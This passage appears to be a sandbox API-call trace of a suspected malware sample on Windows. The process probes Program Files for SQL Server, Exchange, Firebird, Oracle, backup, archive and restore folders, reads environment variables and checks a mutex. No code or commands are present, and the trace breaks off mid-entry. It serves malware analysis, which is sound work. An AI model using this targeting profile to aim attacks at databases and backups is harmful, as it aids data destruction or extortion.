[0047.275] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@帜R企@\x18?T\x18;")) returned 0xffffffff [0047.275] GetLastError () returned 0x2 [0047.275] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@儔R企@\x18?T\x18D")) returned 0xffffffff [0047.275] GetLastError () returned 0x2 [0047.275] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@帜R企@\x18Q\x18j")) returned 0xffffffff [0047.275] GetLastError () returned 0x2 [0047.275] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@몤R企@\x18?T\x18q")) returned 0xffffffff [0047.275] GetLastError () returned 0x2 [0047.275] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@儔R企@\x18?T\x18y")) returned 0xffffffff [0047.275] GetLastError () returned 0x2 [0047.276] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@몤R企@\x18?T\x18\x81")) returned 0xffffffff [0047.276] GetLastError () returned 0x2 [0047.276] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@儔R企@\x18?T\x18\x88")) returned 0xffffffff [0047.276] GetLastError () returned 0x2 [0047.276] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@몤R企@\x18?T\x18\x8f")) returned 0xffffffff [0047.276] GetLastError () returned 0x2 [0047.276] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@儔R企@\x18?T\x18\x97")) returned 0xffffffff [0047.276] GetLastError () returned 0x2 [0047.276] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.276] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.276] GlobalUnlock (hMem=0x44000c) returned 0 [0047.276] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.276] GlobalLock (hMem=0x440004) returned 0x553188 [0047.276] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.276] GlobalUnlock (hMem=0x44000c) returned 0 [0047.276] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.276] GlobalUnlock (hMem=0x440004) returned 0 [0047.276] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.276] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.277] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.277] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0047.277] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.277] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.277] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.277] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.277] GlobalLock (hMem=0x440004) returned 0x551178 [0047.277] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.277] GlobalUnlock (hMem=0x440004) returned 0 [0047.277] GlobalLock (hMem=0x440004) returned 0x551178 [0047.277] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.277] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.277] GlobalUnlock (hMem=0x440004) returned 0 [0047.277] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.277] GlobalUnlock (hMem=0x44000c) returned 0 [0047.277] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.277] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.277] GlobalUnlock (hMem=0x44000c) returned 0 [0047.277] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.277] GlobalLock (hMem=0x440004) returned 0x553188 [0047.277] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.277] GlobalUnlock (hMem=0x44000c) returned 0 [0047.277] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.277] GlobalUnlock (hMem=0x440004) returned 0 [0047.277] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.277] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.278] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0047.278] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.278] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.278] GlobalLock (hMem=0x440004) returned 0x552180 [0047.278] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.278] GlobalUnlock (hMem=0x440004) returned 0 [0047.278] GlobalLock (hMem=0x440004) returned 0x552180 [0047.278] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.278] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.278] GlobalUnlock (hMem=0x440004) returned 0 [0047.278] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.278] GlobalUnlock (hMem=0x44000c) returned 0 [0047.278] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.278] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.278] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.278] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.278] GlobalUnlock (hMem=0x44000c) returned 0 [0047.278] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.278] GlobalLock (hMem=0x440004) returned 0x553188 [0047.278] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.278] GlobalUnlock (hMem=0x44000c) returned 0 [0047.278] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.278] GlobalUnlock (hMem=0x440004) returned 0 [0047.278] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.278] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.279] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.279] GlobalLock (hMem=0x440004) returned 0x551178 [0047.279] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.279] GlobalUnlock (hMem=0x440004) returned 0 [0047.279] GlobalLock (hMem=0x440004) returned 0x551178 [0047.279] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.279] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.279] GlobalUnlock (hMem=0x440004) returned 0 [0047.279] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.279] GlobalUnlock (hMem=0x44000c) returned 0 [0047.279] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.279] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.279] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.279] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.279] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.279] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.279] GlobalUnlock (hMem=0x44000c) returned 0 [0047.279] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.279] GlobalLock (hMem=0x440004) returned 0x554190 [0047.279] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.279] GlobalUnlock (hMem=0x44000c) returned 0 [0047.279] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.279] GlobalUnlock (hMem=0x440004) returned 0 [0047.279] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.279] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0047.279] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.279] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.279] GlobalLock (hMem=0x440004) returned 0x552180 [0047.279] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.280] GlobalUnlock (hMem=0x440004) returned 0 [0047.280] GlobalLock (hMem=0x440004) returned 0x552180 [0047.280] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.280] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.280] GlobalUnlock (hMem=0x440004) returned 0 [0047.280] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.280] GlobalUnlock (hMem=0x44000c) returned 0 [0047.280] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.280] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0047.280] GetLastError () returned 0x12 [0047.280] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.280] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.280] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.280] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.280] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.280] GlobalUnlock (hMem=0x44000c) returned 0 [0047.280] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.280] GlobalLock (hMem=0x440004) returned 0x553188 [0047.280] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.280] GlobalUnlock (hMem=0x44000c) returned 0 [0047.280] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.280] GlobalUnlock (hMem=0x440004) returned 0 [0047.280] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.280] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0047.280] GetLastError () returned 0x12 [0047.280] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0047.280] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0047.281] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0047.281] GlobalLock (hMem=0x440004) returned 0x550170 [0047.281] GlobalHandle (pMem=0x550170) returned 0x440004 [0047.281] GlobalUnlock (hMem=0x440004) returned 0 [0047.281] GlobalLock (hMem=0x440004) returned 0x550170 [0047.281] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.281] GlobalHandle (pMem=0x550170) returned 0x440004 [0047.281] GlobalUnlock (hMem=0x440004) returned 0 [0047.281] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.281] GlobalUnlock (hMem=0x44000c) returned 0 [0047.281] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.281] GlobalLock (hMem=0x44000c) returned 0x550170 [0047.281] GlobalHandle (pMem=0x550170) returned 0x44000c [0047.281] GlobalUnlock (hMem=0x44000c) returned 0 [0047.281] GlobalLock (hMem=0x44000c) returned 0x550170 [0047.281] GlobalLock (hMem=0x440004) returned 0x552180 [0047.281] GlobalHandle (pMem=0x550170) returned 0x44000c [0047.281] GlobalUnlock (hMem=0x44000c) returned 0 [0047.281] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.281] GlobalUnlock (hMem=0x440004) returned 0 [0047.281] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.281] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14", len=0x37 | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14") returned 1 [0047.281] GlobalLock (hMem=0x440004) returned 0x550170 [0047.281] GlobalHandle (pMem=0x550170) returned 0x440004 [0047.281] GlobalUnlock (hMem=0x440004) returned 0 [0047.281] GlobalLock (hMem=0x440004) returned 0x550170 [0047.281] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.281] GlobalHandle (pMem=0x550170) returned 0x440004 [0047.281] GlobalUnlock (hMem=0x440004) returned 0 [0047.281] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.282] GlobalUnlock (hMem=0x44000c) returned 0 [0047.282] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@⧘R⦬R企@\x18㽜Q\x18\x1b")) returned 0xffffffff [0047.282] GetLastError () returned 0x3 [0047.282] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="♔R䱠@⤼R企@\x18권Q\x181")) returned 0xffffffff [0047.282] GetLastError () returned 0x2 [0047.282] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="♔R䱠@⡄R企@\x18?T\x18;")) returned 0xffffffff [0047.282] GetLastError () returned 0x2 [0047.282] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="♔R䱠@⎌R企@\x18?T\x18D")) returned 0xffffffff [0047.282] GetLastError () returned 0x2 [0047.282] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="♔R䱠@⤼R企@\x18⡄R\x18j")) returned 0xffffffff [0047.282] GetLastError () returned 0x2 [0047.282] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="♔R䱠@⎌R企@\x18?T\x18q")) returned 0xffffffff [0047.283] GetLastError () returned 0x2 [0047.283] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, 